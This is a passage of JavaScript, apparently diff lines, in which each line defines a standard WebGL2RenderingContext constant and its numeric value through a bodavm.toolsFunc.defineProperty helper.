enumerable:true, writable:false, value:32770}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONSTANT_ALPHA", {configurable:false, enumerable:true, writable:false, value:32771}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_CONSTANT_ALPHA", {configurable:false, enumerable:true, writable:false, value:32772}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_COLOR", {configurable:false, enumerable:true, writable:false, value:32773}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ARRAY_BUFFER", {configurable:false, enumerable:true, writable:false, value:34962}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ELEMENT_ARRAY_BUFFER", {configurable:false, enumerable:true, writable:false, value:34963}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34964}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ELEMENT_ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34965}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STREAM_DRAW", {configurable:false, enumerable:true, writable:false, value:35040}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STATIC_DRAW", {configurable:false, enumerable:true, writable:false, value:35044}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DYNAMIC_DRAW", {configurable:false, enumerable:true, writable:false, value:35048}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:34660}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BUFFER_USAGE", {configurable:false, enumerable:true, writable:false, value:34661}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CURRENT_VERTEX_ATTRIB", {configurable:false, enumerable:true, writable:false, value:34342}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRONT", {configurable:false, enumerable:true, writable:false, value:1028}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BACK", {configurable:false, enumerable:true, writable:false, value:1029}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRONT_AND_BACK", {configurable:false, enumerable:true, writable:false, value:1032}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_2D", {configurable:false, enumerable:true, writable:false, value:3553}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CULL_FACE", {configurable:false, enumerable:true, writable:false, value:2884}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND", {configurable:false, enumerable:true, writable:false, value:3042}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DITHER", {configurable:false, enumerable:true, writable:false, value:3024}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_TEST", {configurable:false, enumerable:true, writable:false, value:2960}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_TEST", {configurable:false, enumerable:true, writable:false, value:2929}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SCISSOR_TEST", {configurable:false, enumerable:true, writable:false, value:3089}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POLYGON_OFFSET_FILL", {configurable:false, enumerable:true, writable:false, value:32823}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_ALPHA_TO_COVERAGE", {configurable:false, enumerable:true, writable:false, value:32926}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_COVERAGE", {configurable:false, enumerable:true, writable:false, value:32928}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NO_ERROR", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_ENUM", {configurable:false, enumerable:true, writable:false, value:1280}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_VALUE", {configurable:false, enumerable:true, writable:false, value:1281}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_OPERATION", {configurable:false, enumerable:true, writable:false, value:1282}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "OUT_OF_MEMORY", {configurable:false, enumerable:true, writable:false, value:1285}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CW", {configurable:false, enumerable:true, writable:false, value:2304}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CCW", {configurable:false, enumerable:true, writable:false, value:2305}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINE_WIDTH", {configurable:false, enumerable:true, writable:false, value:2849}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALIASED_POINT_SIZE_RANGE", {configurable:false, enumerable:true, writable:false, value:33901}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALIASED_LINE_WIDTH_RANGE", {configurable:false, enumerable:true, writable:false, value:33902}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CULL_FACE_MODE", {configurable:false, enumerable:true, writable:false, value:2885}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRONT_FACE", {configurable:false, enumerable:true, writable:false, value:2886}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_RANGE", {configurable:false, enumerable:true, writable:false, value:2928}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:2930}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:2931}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_FUNC", {configurable:false, enumerable:true, writable:false, value:2932}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:2961}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_FUNC", {configurable:false, enumerable:true, writable:false, value:2962}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_FAIL", {configurable:false, enumerable:true, writable:false, value:2964}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_PASS_DEPTH_FAIL", {configurable:false, enumerable:true, writable:false, value:2965}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_PASS_DEPTH_PASS", {configurable:false, enumerable:true, writable:false, value:2966}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_REF", {configurable:false, enumerable:true, writable:false, value:2967}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_VALUE_MASK", {configurable:false, enumerable:true, writable:false, value:2963}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:2968}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_FUNC", {configurable:false, enumerable:true, writable:false, value:34816}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_FAIL", {configurable:false, enumerable:true, writable:false, value:34817}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_PASS_DEPTH_FAIL", {configurable:false, enumerable:true, writable:false, value:34818}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_PASS_DEPTH_PASS", {configurable:false, enumerable:true, writable:false, value:34819}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_REF", {configurable:false, enumerable:true, writable:false, value:36003}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_VALUE_MASK", {configurable:false, enumerable:true, writable:false, value:36004}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:36005}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VIEWPORT", {configurable:false, enumerable:true, writable:false, value:2978}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SCISSOR_BOX", {configurable:false, enumerable:true, writable:false, value:3088}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:3106}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:3107}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_ALIGNMENT", {configurable:false, enumerable:true, writable:false, value:3317}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_ALIGNMENT", {configurable:false, enumerable:true, writable:false, value:3333}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TEXTURE_SIZE", {configurable:false, enumerable:true, writable:false, value:3379}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VIEWPORT_DIMS", {configurable:false, enumerable:true, writable:false, value:3386}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SUBPIXEL_BITS", {configurable:false, enumerable:true, writable:false, value:3408}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RED_BITS", {configurable:false, enumerable:true, writable:false, value:3410}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GREEN_BITS", {configurable:false, enumerable:true, writable:false, value:3411}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLUE_BITS", {configurable:false, enumerable:true, writable:false, value:3412}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALPHA_BITS", {configurable:false, enumerable:true, writable:false, value:3413}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_BITS", {configurable:false, enumerable:true, writable:false, value:3414}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BITS", {configurable:false, enumerable:true, writable:false, value:3415}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POLYGON_OFFSET_UNITS", {configurable:false, enumerable:true, writable:false, value:10752}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POLYGON_OFFSET_FACTOR", {configurable:false, enumerable:true, writable:false, value:32824}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_2D", {configurable:false, enumerable:true, writable:false, value:32873}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_BUFFERS", {configurable:false, enumerable:true, writable:false, value:32936}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLES", {configurable:false, enumerable:true, writable:false, value:32937}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_COVERAGE_VALUE", {configurable:false, enumerable:true, writable:false, value:32938}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_COVERAGE_INVERT", {configurable:false, enumerable:true, writable:false, value:32939}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COMPRESSED_TEXTURE_FORMATS", {configurable:false, enumerable:true, writable:false, value:34467}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DONT_CARE", {configurable:false, enumerable:true, writable:false, value:4352}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FASTEST", {configurable:false, enumerable:true, writable:false, value:4353}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NICEST", {configurable:false, enumerable:true, writable:false, value:4354}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GENERATE_MIPMAP_HINT", {configurable:false, enumerable:true, writable:false, value:33170}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BYTE", {configurable:false, enumerable:true, writable:false, value:5120}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_BYTE", {configurable:false, enumerable:true, writable:false, value:5121}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SHORT", {configurable:false, enumerable:true, writable:false, value:5122}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT", {configurable:false, enumerable:true, writable:false, value:5123}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT", {configurable:false, enumerable:true, writable:false, value:5124}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT", {configurable:false, enumerable:true, writable:false, value:5125}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT", {configurable:false, enumerable:true, writable:false, value:5126}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT", {configurable:false, enumerable:true, writable:false, value:6402}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALPHA", {configurable:false, enumerable:true, writable:false, value:6406}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB", {configurable:false, enumerable:true, writable:false, value:6407}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA", {configurable:false, enumerable:true, writable:false, value:6408}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LUMINANCE", {configurable:false, enumerable:true, writable:false, value:6409}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LUMINANCE_ALPHA", {configurable:false, enumerable:true, writable:false, value:6410}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT_4_4_4_4", {configurable:false, enumerable:true, writable:false, value:32819}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT_5_5_5_1", {configurable:false, enumerable:true, writable:false, value:32820}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT_5_6_5", {configurable:false, enumerable:true, writable:false, value:33635}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAGMENT_SHADER", {configurable:false, enumerable:true, writable:false, value:35632}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_SHADER", {configurable:false, enumerable:true, writable:false, value:35633}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_ATTRIBS", {configurable:false, enumerable:true, writable:false, value:34921}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_UNIFORM_VECTORS", {configurable:false, enumerable:true, writable:false, value:36347}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VARYING_VECTORS", {configurable:false, enumerable:true, writable:false, value:36348}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:35661}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:35660}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:34930}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_UNIFORM_VECTORS", {configurable:false, enumerable:true, writable:false, value:36349}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SHADER_TYPE", {configurable:false, enumerable:true, writable:false, value:35663}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DELETE_STATUS", {configurable:false, enumerable:true, writable:false, value:35712}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINK_STATUS", {configurable:false, enumerable:true, writable:false, value:35714}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VALIDATE_STATUS", {configurable:false, enumerable:true, writable:false, value:35715}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ATTACHED_SHADERS", {configurable:false, enumerable:true, writable:false, value:35717}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_UNIFORMS", {configurable:false, enumerable:true, writable:false, value:35718}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_ATTRIBUTES", {configurable:false, enumerable:true, writable:false, value:35721}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SHADING_LANGUAGE_VERSION", {configurable:false, enumerable:true, writable:false, value:35724}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CURRENT_PROGRAM", {configurable:false, enumerable:true, writable:false, value:35725}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEVER", {configurable:false, enumerable:true, writable:false, value:512}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LESS", {configurable:false, enumerable:true, writable:false, value:513}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "EQUAL", {configurable:false, enumerable:true, writable:false, value:514}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LEQUAL", {configurable:false, enumerable:true, writable:false, value:515}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GREATER", {configurable:false, enumerable:true, writable:false, value:516}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NOTEQUAL", {configurable:false, enumerable:true, writable:false, value:517}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GEQUAL", {configurable:false, enumerable:true, writable:false, value:518}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALWAYS", {configurable:false, enumerable:true, writable:false, value:519}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "KEEP", {configurable:false, enumerable:true, writable:false, value:7680}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "REPLACE", {configurable:false, enumerable:true, writable:false, value:7681}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INCR", {configurable:false, enumerable:true, writable:false, value:7682}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DECR", {configurable:false, enumerable:true, writable:false, value:7683}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVERT", {configurable:false, enumerable:true, writable:false, value:5386}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INCR_WRAP", {configurable:false, enumerable:true, writable:false, value:34055}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DECR_WRAP", {configurable:false, enumerable:true, writable:false, value:34056}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VENDOR", {configurable:false, enumerable:true, writable:false, value:7936}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERER", {configurable:false, enumerable:true, writable:false, value:7937}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERSION", {configurable:false, enumerable:true, writable:false, value:7938}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEAREST", {configurable:false, enumerable:true, writable:false, value:9728}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINEAR", {configurable:false, enumerable:true, writable:false, value:9729}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEAREST_MIPMAP_NEAREST", {configurable:false, enumerable:true, writable:false, value:9984}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINEAR_MIPMAP_NEAREST", {configurable:false, enumerable:true, writable:false, value:9985}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEAREST_MIPMAP_LINEAR", {configurable:false, enumerable:true, writable:false, value:9986}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINEAR_MIPMAP_LINEAR", {configurable:false, enumerable:true, writable:false, value:9987}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MAG_FILTER", {configurable:false, enumerable:true, writable:false, value:10240}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MIN_FILTER", {configurable:false, enumerable:true, writable:false, value:10241}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_WRAP_S", {configurable:false, enumerable:true, writable:false, value:10242}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_WRAP_T", {configurable:false, enumerable:true, writable:false, value:10243}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE", {configurable:false, enumerable:true, writable:false, value:5890}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP", {configurable:false, enumerable:true, writable:false, value:34067}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_CUBE_MAP", {configurable:false, enumerable:true, writable:false, value:34068}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_X", {configurable:false, enumerable:true, writable:false, value:34069}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_X", {configurable:false, enumerable:true, writable:false, value:34070}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Y", {configurable:false, enumerable:true, writable:false, value:34071}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Y", {configurable:false, enumerable:true, writable:false, value:34072}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Z", {configurable:false, enumerable:true, writable:false, value:34073}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Z", {configurable:false, enumerable:true, writable:false, value:34074}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_CUBE_MAP_TEXTURE_SIZE", {configurable:false, enumerable:true, writable:false, value:34076}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE0", {configurable:false, enumerable:true, writable:false, value:33984}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE1", {configurable:false, enumerable:true, writable:false, value:33985}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE2", {configurable:false, enumerable:true, writable:false, value:33986}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE3", {configurable:false, enumerable:true, writable:false, value:33987}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE4", {configurable:false, enumerable:true, writable:false, value:33988}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE5", {configurable:false, enumerable:true, writable:false, value:33989}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE6", {configurable:false, enumerable:true, writable:false, value:33990}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE7", {configurable:false, enumerable:true, writable:false, value:33991}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE8", {configurable:false, enumerable:true, writable:false, value:33992}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE9", {configurable:false, enumerable:true, writable:false, value:33993}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE10", {configurable:false, enumerable:true, writable:false, value:33994}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE11", {configurable:false, enumerable:true, writable:false, value:33995}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE12", {configurable:false, enumerable:true, writable:false, value:33996}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE13", {configurable:false, enumerable:true, writable:false, value:33997}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE14", {configurable:false, enumerable:true, writable:false, value:33998}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE15", {configurable:false, enumerable:true, writable:false, value:33999}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE16", {configurable:false, enumerable:true, writable:false, value:34000}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE17", {configurable:false, enumerable:true, writable:false, value:34001}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE18", {configurable:false, enumerable:true, writable:false, value:34002}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE19", {configurable:false, enumerable:true, writable:false, value:34003}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE20", {configurable:false, enumerable:true, writable:false, value:34004}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE21", {configurable:false, enumerable:true, writable:false, value:34005}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE22", {configurable:false, enumerable:true, writable:false, value:34006}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE23", {configurable:false, enumerable:true, writable:false, value:34007}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE24", {configurable:false, enumerable:true, writable:false, value:34008}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE25", {configurable:false, enumerable:true, writable:false, value:34009}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE26", {configurable:false, enumerable:true, writable:false, value:34010}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE27", {configurable:false, enumerable:true, writable:false, value:34011}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE28", {configurable:false, enumerable:true, writable:false, value:34012}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE29", {configurable:false, enumerable:true, writable:false, value:34013}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE30", {configurable:false, enumerable:true, writable:false, value:34014}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE31", {configurable:false, enumerable:true, writable:false, value:34015}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_TEXTURE", {configurable:false, enumerable:true, writable:false, value:34016}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "REPEAT", {configurable:false, enumerable:true, writable:false, value:10497}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CLAMP_TO_EDGE", {configurable:false, enumerable:true, writable:false, value:33071}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MIRRORED_REPEAT", {configurable:false, enumerable:true, writable:false, value:33648}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_VEC2", {configurable:false, enumerable:true, writable:false, value:35664}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_VEC3", {configurable:false, enumerable:true, writable:false, value:35665}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_VEC4", {configurable:false, enumerable:true, writable:false, value:35666}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_VEC2", {configurable:false, enumerable:true, writable:false, value:35667}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_VEC3", {configurable:false, enumerable:true, writable:false, value:35668}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_VEC4", {configurable:false, enumerable:true, writable:false, value:35669}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL", {configurable:false, enumerable:true, writable:false, value:35670}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL_VEC2", {configurable:false, enumerable:true, writable:false, value:35671}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL_VEC3", {configurable:false, enumerable:true, writable:false, value:35672}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL_VEC4", {configurable:false, enumerable:true, writable:false, value:35673}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT2", {configurable:false, enumerable:true, writable:false, value:35674}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT3", {configurable:false, enumerable:true, writable:false, value:35675}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT4", {configurable:false, enumerable:true, writable:false, value:35676}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D", {configurable:false, enumerable:true, writable:false, value:35678}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_CUBE", {configurable:false, enumerable:true, writable:false, value:35680}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_ENABLED", {configurable:false, enumerable:true, writable:false, value:34338}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_SIZE", {configurable:false, enumerable:true, writable:false, value:34339}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_STRIDE", {configurable:false, enumerable:true, writable:false, value:34340}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_TYPE", {configurable:false, enumerable:true, writable:false, value:34341}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_NORMALIZED", {configurable:false, enumerable:true, writable:false, value:34922}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_POINTER", {configurable:false, enumerable:true, writable:false, value:34373}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34975}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "IMPLEMENTATION_COLOR_READ_TYPE", {configurable:false, enumerable:true, writable:false, value:35738}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', 